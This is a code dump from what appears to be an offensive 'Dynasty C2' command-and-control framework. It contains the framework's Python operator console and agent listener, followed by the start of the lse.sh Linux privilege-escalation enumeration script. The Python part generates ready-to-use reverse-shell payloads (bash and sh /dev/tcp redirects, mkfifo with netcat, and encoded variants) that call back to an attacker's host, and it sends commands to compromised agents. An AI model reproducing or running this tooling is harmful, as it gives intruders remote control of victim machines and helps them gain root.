| 289 | else: 290 | conn.sendall(command.encode('utf-8') + b'\n') 291 | output = conn.recv(8912).decode('utf-8') 292 | print(output) 293 | 294 | except Exception as e: 295 | console.log(f"Error: {e}") 296 | del conn_list[socket_target] 297 | 298 | 299 | def server_status(host, web_port): 300 | console.log(f"[{NiceColors.green}INFO{NiceColors.reset}] Checking Web server status") 301 | 302 | web_app = f"http://{host}:{web_port}" 303 | response = requests.get(web_app) 304 | 305 | if response.ok: 306 | console.log(f"[{NiceColors.green}+{NiceColors.reset}] Web server active. Response code:", response.status_code) 307 | else: 308 | console.log(f"[{NiceColors.red}+{NiceColors.reset}] Web server down. Response code:", response.status_code) 309 | 310 | 311 | def payloads_list(lhost, lport, shell): 312 | payload1 = '' 313 | payload2 = '' 314 | payload3 = '' 315 | payload4 = '' 316 | url_encoded_payload = '' 317 | base64_payload = '' 318 | 319 | if shell == "bash": 320 | payload1 = f"/bin/bash -i >& /dev/tcp/{lhost}/{lport} 0>&1" 321 | payload2 = f"bash -c '/bin/bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'" 322 | payload3 = f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc {lhost} {lport} >/tmp/f" 323 | payload4 = f"0<&196;exec 196<>/dev/tcp/{lhost}/{lport}; /bin/bash <&196 >&196 2>&196" 324 | url_encoded_payload = f"%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{lhost}%2F{lport}%200%3E%261" 325 | base64_payload = base64.b64encode(payload2.encode("utf-8")).decode("utf-8") 326 | 327 | elif shell == "sh": 328 | payload1 = f"sh -i >& /dev/tcp/{lhost}/{lport} 0>&1" 329 | payload2 = f"sh -c '/bin/sh -i >& /dev/tcp/{lhost}/{lport} 0>&1'" 330 | payload3 = f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f" 331 | payload4 = f"0<&196;exec 196<>/dev/tcp/{lhost}/{lport}; /bin/sh <&196 >&196 2>&196" 332 | url_encoded_payload = f"sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{lhost}%2F{lport}%200%3E%261" 333 | base64_payload = base64.b64encode(payload2.encode("utf-8")).decode("utf-8") 334 | 335 | payloads = [payload1, payload2, payload3, payload4, url_encoded_payload, base64_payload] 336 | return payloads 337 | 338 | def agents_conn(): 339 | global conn_list 340 | 341 | agents = 0 342 | if conn_list: 343 | for client_id, client_info in conn_list.items(): 344 | agents += 1 345 | return agents 346 | 347 | def generate_payloads(inp_cmd): 348 | find_lhost = re.search(r'lhost=([^&\s]+)', inp_cmd[2]) 349 | find_lport = re.search(r'lport=(\d+)', inp_cmd[3]) 350 | find_shell = re.search(r'shell=([^&\s]+)', inp_cmd[4]) 351 | 352 | if find_lhost: lhost = find_lhost.group(1) 353 | else: console.print(f"[[red]ERROR[/]] lhost is not provided!"); return 354 | 355 | if find_lport: lport = find_lport.group(1) 356 | else: console.print(f"[[red]ERROR[/]] lport is not provided!"); return 357 | 358 | if find_shell: shell = find_shell.group(1) 359 | else: console.print(f"[[red]ERROR[/]] shell type is not provided!"); return 360 | 361 | with Progress() as progress: 362 | task1 = progress.add_task("[green]Generating Payloads...[/]", total=1000) 363 | while not progress.finished: 364 | progress.update(task1, advance=0.9) 365 | time.sleep(0.01) 366 | 367 | payloads = payloads_list(lhost, lport, shell) 368 | num = 1 369 | for payload in payloads: 370 | console.log(f"[[blue]Payload {num}[/]]: [yellow]{payload}[/]") 371 | num += 1 372 | 373 | 374 | def update_status_bar(live, agents): 375 | panel = Panel(f"Connected Agents: {agents}", style="bold green") 376 | live.update(panel) 377 | 378 | def main(host, port): 379 | hostname = socket.gethostname() 380 | username = getpass.getuser() 381 | threading.Thread(target=server, args=(host, port, )).start() 382 | 383 | framework_version = "1.0" 384 | console.log(f""" 385 | {NiceColors.magenta} 386 | ____ _ _ 387 | / __ _ _______ ___ _| |_ _ | | 388 | | \ \__| |_ |____ |_ _ / / |_ __|| || | 389 | | / __ \ ___/ _/|_|_| | |___ __ ___________ / // \| || | 390 | / _\/ /\ | |___ _____| | _ \| | |___________| /__ /_| || | 391 | | |/ _/_/ | / /____ | | | | | / _/ /|_|| | 392 | \___/ \__/ \_______| /__/ \___/ /_/ / ___| | | 393 | \_/\_\\____| | 394 | ____/ 395 | {NiceColors.reset} 396 | {NiceColors.blue} __ 397 | / 398 | Dynasty C2 | Version {framework_version} (beta) | [ [cyan]{username}:{hostname}[/] ] 399 | __/ 400 | [blue]Made by [green]Trevohack[/] 401 | 402 | [yellow][ "Dyansty" inspired by ANIME ][/] 403 | [yellow][ Anime-inspired C2 framework for digital heros ][/] 404 | 405 | Try help! 406 | 407 | [orange1]OPEN PORTS[/] 408 | {host}:{port}[light_goldenrod1]................[/][sandy_brown]TCP Listener For Agents[/] 409 | {host}:{sys.argv[3]}[light_goldenrod1]................[/][sandy_brown]Web Server[/] 410 | 411 | [magenta] 412 | -------------------------------------------------------------------------- 413 | [/] 414 | {NiceColors.reset} 415 | """) 416 | 417 | agents = 0 418 | while True: 419 | try: 420 | agents_now = agents_conn() 421 | if agents_now != agents: 422 | console.log("[green]New Agent Connected!") 423 | agents = agents_now 424 | 425 | inp = console.input(f"[{NiceColors.yellow}{username}{NiceColors.reset}@{NiceColors.cyan}dynasty{NiceColors.reset}]~# ") 426 | inp_cmd = inp.split(' ') 427 | 428 | if inp_cmd[0] == "agents": 429 | starty = threading.Thread(target=list_agents) 430 | starty.start() 431 | starty.join() 432 | 433 | elif "exit" in inp: 434 | console.log(f"{banners.alien}") 435 | os._exit(1) 436 | 437 | elif inp == "help" or inp == "h": 438 | console.log(f"{banners.help}") 439 | 440 | elif inp_cmd[0] == "kill": 441 | if len(inp_cmd) == 2: 442 | agent_key = inp_cmd[1] 443 | kill_agent(agent_key) 444 | 445 | elif inp == "server status": 446 | server_status(sys.argv[1], sys.argv[3]) 447 | 448 | elif "generate" in inp: 449 | if inp_cmd[1] == "payloads": 450 | if len(inp_cmd) == 5: 451 | generate_payloads(inp_cmd) 452 | 453 | 454 | elif inp_cmd[0] == "show" and inp_cmd[1] == "privesc-payloads": 455 | console.log(privesc_tab) 456 | 457 | elif inp_cmd[0] == "use" and len(inp_cmd) == 2 and inp_cmd[1].isdigit(): 458 | agent_num = int(inp_cmd[1]) 459 | max_agents = list(range(1, 11)) 460 | if agent_num in max_agents: 461 | starty = threading.Thread(target=start_interaction, args=(agent_num,)) 462 | starty.start() 463 | starty.join() 464 | else: 465 | console.log(f"{NiceColors.red}[ERROR] Invalid Agent Number :({NiceColors.reset}") 466 | except OSError: 467 | console.print("[red][ERROR] Could not load the framework properly, exiting... [/]") 468 | sys.exit(1) 469 | 470 | except Exception as e: 471 | console.print(f"[red][ERROR] Code: {e}, exiting... [/]") 472 | sys.exit(1) 473 | 474 | if len(sys.argv) != 4: 475 | console.log(banners.help) 476 | sys.exit(1) 477 | 478 | else: 479 | main(HOST, int(PORT)) 480 | -------------------------------------------------------------------------------- /web_app/payloads/lse.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # shellcheck disable=1003,1091,2006,2016,2034,2039,3043 3 | # vim: set ts=2 sw=2 sts=2 fdm=marker fmr=#(,#) et: 4 | 5 | # Author: Diego Blanco 6 | # GitHub: https://github.com/diego-treitos/linux-smart-enumeration 7 | # 8 | lse_version="4.14nw" 9 | 10 | ##( Colors 11 | # 12 | #( fg 13 | red='\e[31m' 14 | lred='\e[91m' 15 | green='\e[32m' 16 | lgreen='\e[92m' 17 | yellow='\e[33m' 18 | lyellow='\e[93m' 19 | blue='\e[34m' 20 | lblue='\e[94m' 21 | magenta='\e[35m' 22 | lmagenta='\e[95m' 23 | cyan='\e[36m' 24 | lcyan='\e[96m' 25 | grey='\e[90m' 26 | lgrey='\e[37m' 27 | white='\e[97m' 28 | black='\e[30m' 29 | ##) 30 | #( bg 31 | b_red='\e[41m' 32 | b_lred='\e[101m' 33 | b_green='\e[42m' 34 | b_lgreen='\e[102m' 35 | b_yellow='\e[43m' 36 | b_lyellow='\e[103m' 37 | b_blue='\e[44m' 38 | b_lblue='\e[104m' 39 | b_magenta='\e[45m' 40 | b_lmagenta='\e[105m' 41 | b_cyan='\e[46m' 42 | b_lcyan='\e[106m' 43 | b_grey='\e[100m' 44 | b_lgrey='\e[47m' 45 | b_white='\e[107m' 46 | b_black='\e[40m' 47 | ##) 48 | #( special 49 | reset='\e[0;0m' 50 | bold='\e[01m' 51 | italic='\e[03m' 52 | underline='\e[04m' 53 | inverse='\e[07m' 54 | conceil='\e[08m' 55 | crossedout='\e[09m' 56 | bold_off='\e[22m' 57 | italic_off='\e[23m' 58 | underline_off='\e[24m' 59 | inverse_off='\e[27m' 60 | conceil_off='\e[28m' 61 | crossedout_off='\e[29m' 62 | ##) 63 | #) 64 | 65 | ##( Globals 66 | # 67 | # user 68 | lse_user_id="`id -u`" 69 | lse_user="$USER" 70 | [ -z "$lse_user" ] && lse_user="`id -nu`" 71 | lse_pass="" 72 | lse_home="$HOME" 73 | [ -z "$lse_home" ] && lse_home="`(grep -E "^$lse_user:" /etc/passwd | cut -d: -f6)2>/dev/null`" 74 | 75 | # system 76 | lse_arch="`uname -m`" 77 | lse_linux="`uname -r`" 78 | lse_hostname="`hostname`" 79 | lse_distro=`command -v lsb_release >/dev/null 2>&1 && lsb_release -d | sed 's/Description:\s*//' 2>/dev/null` 80 | [ -z "$lse_distro" ] && lse_distro="`(. /etc/os-release && echo "$PRETTY_NAME")2>/dev/null`" 81 | lse_distro_codename="" # retrieved below with lse_get_distro_codename 82 | 83 | # lse 84 | lse_passed_tests="" 85 | lse_executed_tests="" 86 | lse_DEBUG=false 87 | lse_procmon_data=`mktemp` 88 | lse_procmon_lock=`mktemp` 89 | lse_cve_tmp='' 90 | 91 | # printf 92 | printf "$reset" | grep -q '\\' && alias printf="env printf" 93 | 94 | #( internal data 95 | lse_common_setuid=" 96 | /bin/fusermount 97 | /bin/mount 98 | /bin/ntfs-3g 99 | /bin/ping 100 | /bin/ping6 101 | /bin/su 102 | /bin/umount 103 | /lib64/dbus-1/dbus-daemon-launch-helper 104 | /sbin/mount.ecryptfs_private 105 | /sbin/mount.nfs 106 | /sbin/pam_timestamp_check 107 | /sbin/pccardctl 108 | /sbin/unix2_chkpwd 109 | /sbin/unix_chkpwd 110 | /usr/bin/Xorg 111 | /usr/bin/arping 112 | /usr/bin/at 113 | /usr/bin/beep 114 | /usr/bin/chage 115 | /usr/bin/chfn 116 | /usr/bin/chsh 117 | /usr/bin/crontab 118 | /usr/bin/expiry 119 | /usr/bin/firejail 120 | /usr/bin/fusermount 121 | /usr/bin/fusermount-glusterfs 122 | /usr/bin/fusermount3 123 | /usr/bin/gpasswd 124 | /usr/bin/kismet_capture 125 | /usr/bin/mount 126 | /usr/bin/mtr 127 | /usr/bin/newgidmap 128 | /usr/bin/newgrp 129 | /usr/bin/newuidmap 130 | /usr/bin/ntfs-3g 131 | /usr/bin/passwd 132 | /usr/bin/pkexec 133 | /usr/bin/pmount 134 | /usr/bin/procmail 135 | /usr/bin/pumount 136 | /usr/bin/staprun 137 | /usr/bin/su 138 | /usr/bin/sudo 139 | /usr/bin/sudoedit 140 | /usr/bin/traceroute6.iputils 141 | /usr/bin/umount 142 | /usr/bin/weston-launch 143 | /usr/lib/chromium-browser/chrome-sandbox 144 | /usr/lib/dbus-1.0/dbus-daemon-launch-helper 145 | /usr/lib/dbus-1/dbus-daemon-launch-helper 146 | /usr/lib/eject/dmcrypt-get-device 147 | /usr/lib/openssh/ssh-keysign 148 | /usr/lib/policykit-1/polkit-agent-helper-1 149 | /usr/lib/polkit-1/polkit-agent-helper-1 150 | /usr/lib/pt_chown 151 | /usr/lib/snapd/snap-confine 152 | /usr/lib/spice-gtk/spice-client-glib-usb-acl-helper 153 | /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic 154 | /usr/lib/xorg/Xorg.wrap 155 | /usr/libexec/Xorg.wrap 156 | /usr/libexec/abrt-action-install-debuginfo-to-abrt-cache 157 | /usr/libexec/cockpit-session 158 | /usr/libexec/dbus-1/dbus-daemon-launch-helper 159 | /usr/libexec/gstreamer-1.0/gst-ptp-helper 160 | /usr/libexec/openssh/ssh-keysign 161 | /usr/libexec/polkit-1/polkit-agent-helper-1 162 | /usr/libexec/polkit-agent-helper-1 163 | /usr/libexec/pt_chown 164 | /usr/libexec/qemu-bridge-helper 165 | /usr/libexec/spice-client-glib-usb-acl-helper 166 | /usr/libexec/spice-gtk-x86_64/spice-client-glib-usb-acl-helper 167 | /usr/local/share/panasonic/printer/bin/L_H0JDUCZAZ 168 | /usr/sbin/exim4 169 | /usr/sbin/grub2-set-bootflag 170 | /usr/sbin/mount.nfs 171 | /usr/sbin/mtr-packet 172 | /usr/sbin/pam_timestamp_check 173 | /usr/sbin/pppd 174 | /usr/sbin/pppoe-wrapper 175 | /usr/sbin/suexec 176 | /usr/sbin/unix_chkpwd 177 | /usr/sbin/userhelper 178 | /usr/sbin/usernetctl 179 | /usr/sbin/uuidd 180 | " 181 | #) 182 | #( regex rules for common setuid 183 | lse_common_setuid="$lse_common_setuid 184 | /snap/core.* 185 | /var/tmp/mkinitramfs.* 186 | " 187 | #) 188 | #( critical writable files 189 | lse_critical_writable=" 190 | /etc/apache2/apache2.conf 191 | /etc/apache2/httpd.conf 192 | /etc/bash.bashrc 193 | /etc/bash_completion 194 | /etc/bash_completion.d/* 195 | /etc/environment 196 | /etc/environment.d/* 197 | /etc/hosts.allow 198 | /etc/hosts.deny 199 | /etc/httpd/conf/httpd.conf 200 | /etc/httpd/httpd.conf 201 | /etc/incron.conf 202 | /etc/incron.d/* 203 | /etc/logrotate.d/* 204 | /etc/modprobe.d/* 205 | /etc/pam.d/* 206 | /etc/passwd 207 | /etc/php*/fpm/pool.d/* 208 | /etc/php/*/fpm/pool.d/* 209 | /etc/profile 210 | /etc/profile.d/* 211 | /etc/rc*.d/* 212 | /etc/rsyslog.d/* 213 | /etc/shadow 214 | /etc/skel/* 215 | /etc/sudoers 216 | /etc/sudoers.d/* 217 | /etc/supervisor/conf.d/* 218 | /etc/supervisor/supervisord.conf 219 | /etc/sysctl.conf 220 | /etc/sysctl.d/* 221 | /etc/uwsgi/apps-enabled/* 222 | /root/.ssh/authorized_keys 223 | " 224 | #critical writable directories 225 | lse_critical_writable_dirs=" 226 | /etc/bash_completion.d 227 | /etc/cron.d 228 | /etc/cron.daily 229 | /etc/cron.hourly 230 | /etc/cron.weekly 231 | /etc/environment.d 232 | /etc/logrotate.d 233 | /etc/modprobe.d 234 | /etc/pam.d 235 | /etc/profile.d 236 | /etc/rsyslog.d/ 237 | /etc/sudoers.d/ 238 | /etc/sysctl.d 239 | /root 240 | " 241 | #) 242 | #( CVE list (populated by the lse packager) 243 | lse_cve_list=" 244 | " #CVElistMARKER 245 | #) 246 | #) 247 | 248 | ##( Options 249 | lse_color=true 250 | lse_alt_color=false 251 | lse_interactive=true 252 | lse_proc_time=60 253 | lse_level=0 #Valid levels 0:default, 1:interesting, 2:all 254 | lse_selection="" #Selected tests to run. Empty means all. 255 | lse_find_opts='-path /proc -prune -o -path /sys -prune -o -path /dev -prune -o' #paths to exclude from searches 256 | lse_grep_opts='--color=always' 257 | #) 258 | 259 | ##( Lib 260 | cecho() { #( 261 | if $lse_color; then 262 | printf "%b" "$@" 263 | else 264 | # If color is disabled we remove it 265 | printf "%b" "$@" | sed -r 's/(\x1B|\\e)\[[0-9;:]+[A-Za-z]//g' 266 | fi 267 | } #) 268 | lse_recolor() { #( 269 | o_white="$white" 270 | o_lyellow="$lyellow" 271 | o_grey="$grey" 272 | o_lred="$lred" 273 | o_lgreen="$lgreen" 274 | o_lcyan="$lcyan" 275 | 276 | white="$o_grey" 277 | lyellow="$o_lred" 278 | grey="$lgrey" 279 | lred="$red" 280 | lgreen="$b_lgreen$black" 281 | lcyan="$cyan" 282 | } #) 283 | lse_error() { #( 284 | cecho "${red}ERROR: ${reset}$*\n" >&2 285 | } #) 286 | lse_exclude_paths() { #( 287 | local IFS=" 288 | " 289 | for p in `printf "%s" "$1" | tr ',' '\n'`; do 290 | [ "`printf \"%s\" \"$p\" | cut -c1`" = "/" ] || lse_error "'$p' is not an absolute path." 291 | p="${p%%/}" 292 | lse_find_opts="$lse_find_opts -path ${p} -prune -o" 293 | done 294 | } #) 295 | lse_set_level() { #( 296 | case "$1" in 297 | 0|1|2) 298 | lse_level=$(($1)) 299 | ;; 300 | *) 301 | lse_error "Invalid level." 302 | exit 1 303 | ;; 304 | esac 305 | } #) 306 | lse_help() { #( 307 | echo "Use: $0 [options]" 308 | echo 309 | echo " OPTIONS" 310 | echo " -c Disable color" 311 | echo " -C Use alternative color scheme" 312 | echo " -i Non interactive mode" 313 | echo " -h This help" 314 | echo " -l LEVEL Output verbosity level" 315 | echo " 0: Show highly important results. (default)" 316 | echo " 1: Show interesting results." 317 | echo " 2: Show all gathered information." 318 | echo " -s SELECTION Comma separated list of sections or tests to run. Available" 319 | echo " sections:" 320 | echo " usr: User related tests." 321 | echo " sud: Sudo related tests." 322 | echo " fst: File system related tests." 323 | echo " sys: System related tests." 324 | echo " sec: Security measures related tests." 325 | echo " ret: Recurrent tasks (cron, timers) related tests." 326 | echo " net: Network related tests." 327 | echo " srv: Services related tests." 328 | echo " pro: Processes related tests." 329 | echo " sof: Software related tests." 330 | echo " ctn: Container (docker, lxc) related tests." 331 | echo " cve: CVE related tests." 332 | echo " Specific tests can be used with their IDs (i.e.: usr020,sud)" 333 | echo " -e PATHS Comma separated list of paths to exclude. This allows you" 334 | echo " to do faster scans at the cost of completeness" 335 | echo " -p SECONDS Time that the process monitor will spend watching for" 336 | echo " processes. A value of 0 will disable any watch (default: 60)" 337 | echo " -S Serve the lse.sh script in this host so it can be retrieved" 338 | echo " from a remote host." 339 | } #) 340 | lse_ask() { #( 341 | local question="$1" 342 | # We use stderr to print the question 343 | cecho "${white}${question}: ${reset}" >&2 344 | read -r answer 345 | case "$answer" in 346 | y|Y|yes|Yes|ok|Ok|true|True) 347 | return 0 348 | ;; 349 | *) 350 | echo "$answer" 351 | return 1 352 | ;; 353 | esac 354 | } #) 355 | lse_request_information() { #( 356 | if $lse_interactive; then 357 | cecho "${grey}---\n" 358 | [ -z "$lse_user" ] && lse_user=`lse_ask "Could not find current user name. Current user?"` 359 | lse_pass=`lse_ask "If you know the current user password, write it here to check sudo privileges"` 360 | cecho "${grey}---\n" 361 | fi 362 | } #) 363 | lse_test_passed() { #( 364 | # Checks if a test passed by ID 365 | local id="$1" 366 | for i in $lse_passed_tests; do 367 | [ "$i" = "$id" ] && return 0 368 | done 369 | return 1 370 | } #) 371 | lse_test() { #( 372 | # Test id 373 | local id="$1" 374 | # Minimum level required for this test to show its output 375 | local level=$(($2)) 376 | # Name of the current test 377 | local name="$3" 378 | # Output of the test 379 | local cmd="$4" 380 | # Dependencies 381 | local deps="$5" 382 | # Variable name where to store the output 383 | local var="$6" 384 | # Flags affecting the execution of certain tests 385 | local flags="$7" 386 | 387 | # Define colors 388 | local l="${lred}!" 389 | local r="${lgreen}" 390 | [ $level -eq 1 ] && l="${lyellow}*" && r="${cyan}" 391 | [ $level -eq 2 ] && l="${lblue}i" && r="${blue}" 392 | 393 | # Filter selected tests 394 | if [ "$lse_selection" ]; then 395 | local sel_match=false 396 | for s in $lse_selection; do 397 | if [ "$s" = "$id" ] || [ "$s" = "`printf \"%s\" \"$id\" | cut -c1-3`" ]; then 398 | sel_match=true 399 | fi 400 | done 401 | $sel_match || return 0 402 | fi 403 | 404 | # DEBUG messages 405 | $lse_DEBUG && cecho "${lmagenta}DEBUG: ${lgreen}Executing: ${reset}$cmd\n" 406 | 407 | # Print name and line 408 | cecho "${white}[${l}${white}] ${grey}${id}${white} $name${grey}" 409 | for i in $(seq $((${#id}+${#name}+10)) 79); do 410 | printf "." 411 | done 412 | 413 | # Check if test should be skipped when running as root 414 | if [ "$lse_user_id" -eq 0 ] && [ "$flags" = "rootskip" ]; then 415 | cecho " ${grey}skip\n" 416 | return 1 417 | fi 418 | 419 | # Check dependencies 420 | local non_met_deps="" 421 | for d in $deps; do 422 | lse_test_passed "$d" || non_met_deps="$non_met_deps $d" 423 | done 424 | if [ "$non_met_deps" ]; then 425 | cecho " ${grey}skip\n" 426 | # In "selection mode" we print the missed dependencies 427 | if [ "$lse_selection" ]; then 428 | cecho "${red}---\n" 429 | cecho "Dependencies not met:$reset $non_met_deps\n" 430 | cecho "${red}---$reset\n" 431 | fi 432 | return 1 433 | fi 434 | 435 | # If level is 2 and lse_level is less than 2, then we do not execute 436 | # level 2 tests unless their output needs to be assigned to a variable 437 | if [ $level -ge 2 ] && [ $lse_level -lt 2 ] && [ -z "$var" ]; then 438 | cecho " ${grey}skip\n" 439 | return 1 440 | else 441 | if $lse_DEBUG; then 442 | output="`eval "$cmd" 2>&1`" 443 | else 444 | # Execute command if this test's level is in scope 445 | output="`eval "$cmd" 2>/dev/null`" 446 | # Assign variable if available 447 | fi 448 | [ "$var" ] && [ "$output" ] && readonly "${var}=$output" 449 | # Mark test as executed 450 | lse_executed_tests="$lse_executed_tests $id" 451 | fi 452 | 453 | if [ -z "$output" ]; then 454 | cecho " ${grey}nope${reset}\n" 455 | return 1 456 | else 457 | lse_passed_tests="$lse_passed_tests $id" 458 | cecho "${r} yes!${reset}\n" 459 | if [ $lse_level -ge $level ]; then 460 | cecho "${grey}---$reset\n" 461 | echo "$output" 462 | cecho "${grey}---$reset\n" 463 | fi 464 | return 0 465 | fi 466 | } #) 467 | lse_show_info() { #( 468 | echo 469 | cecho "${lcyan} LSE Version:${reset} $lse_version\n" 470 | echo 471 | cecho "${lblue} User:${reset} $lse_user\n" 472 | cecho "${lblue} User ID:${reset} $lse_user_id\n" 473 | cecho "${lblue} Password:${reset} " 474 | if [ -z "$lse_pass" ]; then 475 | cecho "${grey}none${reset}\n" 476 | else 477 | cecho "******\n" 478 | fi 479 | cecho "${lblue} Home:${reset} $lse_home\n" 480 | cecho "${lblue} Path:${reset} $PATH\n" 481 | cecho "${lblue} umask:${reset} `umask 2>/dev/null`\n" 482 | 483 | echo 484 | cecho "${lblue} Hostname:${reset} $lse_hostname\n" 485 | cecho "${lblue} Linux:${reset} $lse_linux\n" 486 | if [ "$lse_distro" ]; then 487 | cecho "${lblue}Distribution:${reset} $lse_distro\n" 488 | fi 489 | cecho "${lblue}Architecture:${reset} $lse_arch\n" 490 | echo 491 | cecho "${green}=====================(${yellow} Current Output Verbosity Level: ${cyan}$lse_level ${green})======================${reset}" 492 | echo 493 | if [ "$lse_user_id" -eq 0 ]; then 494 | cecho "${green}============(${yellow} Already running as ${red}root${yellow}, some tests will be skipped! ${green})============${reset}" 495 | echo 496 | fi 497 | } #) 498 | lse_serve() { #( 499 | # get port 500 | which nc >/dev/null || lse_error "Could not find 'nc' netcat binary." 501 | 502 | local_ips="`ip a | grep -Eo "inet ([0-9]{1,3}\.){3}[0-9]{1,3}" | cut -d' ' -f2`" 503 | 504 | # Get a valid and non used port 505 | port=`od -An -N2 -i /dev/random|grep -Eo '[0-9]+'` 506 | port_valid=true 507 | while true; do 508 | for ip in $local_ips; do 509 | nc -z "$ip" "$port" && port_valid=false 510 | done 511 | if [ $((port)) -lt 1024 ] || [ $((port)) -gt 65500 ]; then 512 | port_valid=false 513 | fi 514 | $port_valid && break 515 | port=`od -An -N2 -i /dev/random|grep -Eo '[0-9]+'` 516 | done 517 | 518 | echo 519 | cecho " Serving ${white}Linux Smart Enumeration${reset} on port ${blue}$port${reset}.\n" 520 | echo 521 | cecho " Depending on your IP and available tools, some of these commands should download it in a remote host:\n" 522 | for ip in $local_ips; do 523 | [ "$ip" = "127.0.0.1" ] && continue 524 | echo 525 | cecho "${reset} [${blue}$ip${reset}]\n" 526 | cecho "${green} * ${white}nc ${reset} $ip $port > lse.sh /dev/tcp/${reset}$ip/$port;printf '\\\\n'>&3;cat<&3>lse.sh;exec 3<&-;chmod 755 lse.sh\n" 530 | done 531 | # try nc with '-N' (openbsd), then ncat and then use '-q0' (traditional) 532 | nc -l -N -p "$port" < "$0" >/dev/null 2>/dev/null || nc -l --send-only -p "$port" < "$0" >/dev/null 2>/dev/null || nc -l -q0 -p "$port" < "$0" >/dev/null 533 | } #) 534 | lse_header() { #( 535 | local id="$1" 536 | shift 537 | local title="$*" 538 | local text="${magenta}" 539 | 540 | # Filter selected tests 541 | if [ "$lse_selection" ]; then 542 | local sel_match=false 543 | for s in $lse_selection; do 544 | if [ "`printf \"%s\" \"$s\"|cut -c1-3`" = "$id" ]; then 545 | sel_match=true 546 | break 547 | fi 548 | done 549 | $sel_match || return 0 550 | fi 551 | 552 | for i in $(seq ${#title} 70); do 553 | text="$text=" 554 | done 555 | text="$text(${green} $title ${magenta})=====" 556 | cecho "$text${reset}\n" 557 | } #) 558 | lse_exit() { #( 559 | local ec=1 560 | local text="\n${magenta}==================================" 561 | [ "$1" ] && ec=$1 562 | text="$text(${green} FINISHED ${magenta})==================================" 563 | cecho "$text${reset}\n" 564 | rm -f "$lse_procmon_data" 565 | rm -f "$lse_procmon_lock" 566 | rm -f "$lse_cve_tmp" 567 | exit "$ec" 568 | } #) 569 | lse_procmon() { #( 570 | # monitor processes 571 | #NOTE: The first number will be the number of occurrences of a process due to 572 | # uniq -c 573 | local ps_args 574 | local ps_busybox 575 | if ps -V 2>&1 | grep -iq busybox; then 576 | ps_args='-o pid,user,args' 577 | ps_busybox=true 578 | else 579 | ps_args="-ewwwo start_time,pid,user:50,args" 580 | ps_busybox=false 581 | fi 582 | while [ -f "$lse_procmon_lock" ]; do 583 | if $ps_busybox; then 584 | ps $ps_args | sed 's/^\([0-9]*\)/? \1 /g' 585 | else 586 | ps $ps_args 587 | fi 588 | sleep 0.001 589 | done | grep -Ev "(pid,user|$lse_user *sed s/)" | sed 's/^ *//g' | tr -s '[:space:]' | grep -Ev "PID *USER *COMMAND" | grep -Ev '[^ ]+ [^ ]+ [^ ]+ \[' | sort -Mr | uniq -c | sed 's/^ *//g' > "$lse_procmon_data" 590 | } #) 591 | lse_proc_print() { #( 592 | # Pretty prints output from lse_procmom received via stdin 593 | if $lse_color; then 594 | printf "${green}%s %8s %8s %s\n" "START" "PID" "USER" "COMMAND" 595 | else 596 | printf "%s %8s %8s %s\n" "START" "PID" "USER" "COMMAND" 597 | fi 598 | while read -r l; do 599 | p_num=`echo "$l" | cut -d" " -f1` 600 | p_time=`echo "$l" | cut -d" " -f2` 601 | p_pid=`echo "$l" | cut -d" " -f3` 602 | p_user=`echo "$l" | cut -d" " -f4` 603 | p_args=`echo "$l" | cut -d" " -f5-` 604 | 605 | if $lse_color; then 606 | if [ $((p_num)) -lt 20 ]; then # few times probably periodic 607 | printf "${red}%s ${reset}%8s ${yellow}%8s ${red}%s\n" "$p_time" "$p_pid" "$p_user" "$p_args" 608 | else 609 | printf "${magenta}%s ${reset}%8s ${yellow}%8s ${reset}%s\n" "$p_time" "$p_pid" "$p_user" "$p_args" 610 | fi 611 | else 612 | printf "%s %8s %8s %s\n" "$p_time" "$p_pid" "$p_user" "$p_args" 613 | fi 614 | done 615 | } #) 616 | lse_get_distro_codename() { #( 617 | # Get the distribution name 618 | # 619 | # ubuntu, debian, centos, redhat, opsuse, fedora, rocky 620 | local distro="${grey}unknown${reset}" 621 | if type lsb_release >/dev/null 2>&1; then 622 | distro=`lsb_release -is` 623 | elif [ -f /etc/os-release ]; then 624 | distro=`grep -E '^ID=' /etc/os-release | cut -f2 -d=` 625 | echo "$distro" | grep -qi opensuse && distro=opsuse 626 | echo "$distro" | grep -qi rhel && distro=redhat 627 | elif [ -f /etc/redhat-release ]; then 628 | grep -qi "centos" /etc/redhat-release && distro=centos 629 | grep -qi "fedora" /etc/redhat-release && distro=fedora 630 | grep -qi "red hat" /etc/redhat-release && distro=redhat 631 | grep -qi "rocky" /etc/redhat-release && distro=rocky 632 | fi 633 | printf '%s' "$distro" | tr '[:upper:]' '[:lower:]' | tr -d \"\' 634 | } #) 635 | lse_is_version_bigger() { #( 636 | # check if version v1 is bigger than v2 637 | local v1="$1"; local v2="$2" ; local vc 638 | [ "$v1" = "$v2" ] && return 1 # equal is not bigger 639 | vc="`printf "%s\n%s\n" "$v1" "$v2" | sort -rV | head -n1`" 640 | [ "$v1" = "$vc" ] && return 0 641 | return 1 642 | } #) 643 | lse_get_pkg_version() { #( 644 | # get package version depending on distro 645 | # returns 2 if distro is unknown 646 | # returns 1 if package is not installed (or doesn't exist) 647 | # returns 0 on success, and prints out the package version 648 | pkg_name="$1" 649 | case "$lse_distro_codename" in 650 | debian|ubuntu) 651 | pkg_version=`dpkg -l "$pkg_name" 2>/dev/null | grep -E '^[ih]i' | tr -s ' ' | cut -d' ' -f3` 652 | ;; 653 | centos|redhat|fedora|opsuse|rocky|amzn) 654 | pkg_version=`rpm -q "$pkg_name" 2>/dev/null` 655 | pkg_version="${pkg_version##"$pkg_name"-}" 656 | pkg_version=`echo "$pkg_version" | sed -E 's/\.(aarch64|armv7hl|i686|noarch|ppc64le|s390x|x86_64)$//'` 657 | ;; 658 | *) 659 | return 2 660 | ;; 661 | esac 662 | [ -z "$pkg_version" ] && return 1 663 | printf "%s" "$pkg_version" 664 | return 0 665 | } #) 666 | #) 667 | #) 668 | 669 | ########################################################################( TESTS 670 | # 671 | # A successful test will receive some output while a failed tests will receive 672 | # an empty string. 673 | # 674 | ########################################################################( users 675 | lse_run_tests_users() { 676 | lse_header "usr" "users" 677 | 678 | #user groups 679 | lse_test "usr000" "2" \ 680 | "Current user groups" \ 681 | 'groups' \ 682 | "" \ 683 | "lse_user_groups" 684 